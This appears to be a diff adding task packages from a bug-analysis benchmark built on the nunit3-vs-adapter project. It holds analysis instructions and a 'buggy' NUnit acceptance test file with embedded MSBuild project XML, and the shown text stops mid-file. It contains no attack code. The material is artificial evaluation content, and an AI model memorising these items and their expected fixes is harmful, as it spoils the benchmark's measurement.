+src/NUnit.TestAdapter.Tests.Acceptance/SinglePassingTestResultTests.cs
+
+### Key:
+SinglePassingTestResultTests.cs|Legacy_vbproj_with_packages_config|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b8250b1f8d08f62c13300582c54e9d52
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1021/instruction.md b/inferredbugs-1021/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..869e5d9438050319e811130177df653956602110
--- /dev/null
+++ b/inferredbugs-1021/instruction.md
@@ -0,0 +1,690 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** nunit3-vs-adapter
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using NUnit.Framework;
+using NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools;
+
+namespace NUnit.VisualStudio.TestAdapter.Tests.Acceptance
+{
+    public sealed class SinglePassingTestResultTests : AcceptanceTests
+    {
+        private static void AddTestsCs(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.cs", @"
+                using NUnit.Framework;
+
+                namespace Test
+                {
+                    public class Tests
+                    {
+                        [Test]
+                        public void PassingTest()
+                        {
+                            Assert.Pass();
+                        }
+                    }
+                }");
+        }
+
+        private static void AddTestsVb(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.vb", @"
+                Imports NUnit.Framework
+
+                Namespace Test
+                    Public Class Tests
+
+                        <Test>
+                        Public Sub PassingTest()
+                            Assert.Pass()
+                        End Sub
+
+                    End Class
+                End Namespace");
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_csproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_csproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_vbproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_vbproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_csproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_csproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_vbproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_vbproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace();
+            var nuvers = NuGetPackageVersion;
+            workspace.AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{25455E6C-F4D9-41B7-A227-1527D93799B0}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{nuvers}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            var result = workspace.VSTest(new[] { @"bin\Debug\Test.dll" });
+            result.AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{C5C80224-B87B-4783-8CE1-45D64D940AAD}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{NuGetPackageVersion}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        private static void AddPackagesConfig(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("packages.config", $@"
+                <?xml version='1.0' encoding='utf-8'?>
+                <packages>
+                    <package id='Microsoft.CodeCoverage' version='15.9.0' targetFramework='net45' />
+                    <package id='Microsoft.NET.Test.Sdk' version='15.9.0' targetFramework='net45' />
+                    <package id='NUnit' version='3.11.0' targetFramework='net45' />
+                    <package id='NUnit3TestAdapter' version='{NuGetPackageVersion}' targetFramework='net45' />
+                </packages>");
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{107E3C5F-61D7-439E-8B8D-8BF4C9506F06}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='Microsoft.CSharp' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Net.Http' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsCs(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{70AE110C-1736-45F4-8941-5AA3435B7B49}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Net.Http' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                        <Import Include='System.Threading.Tasks' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
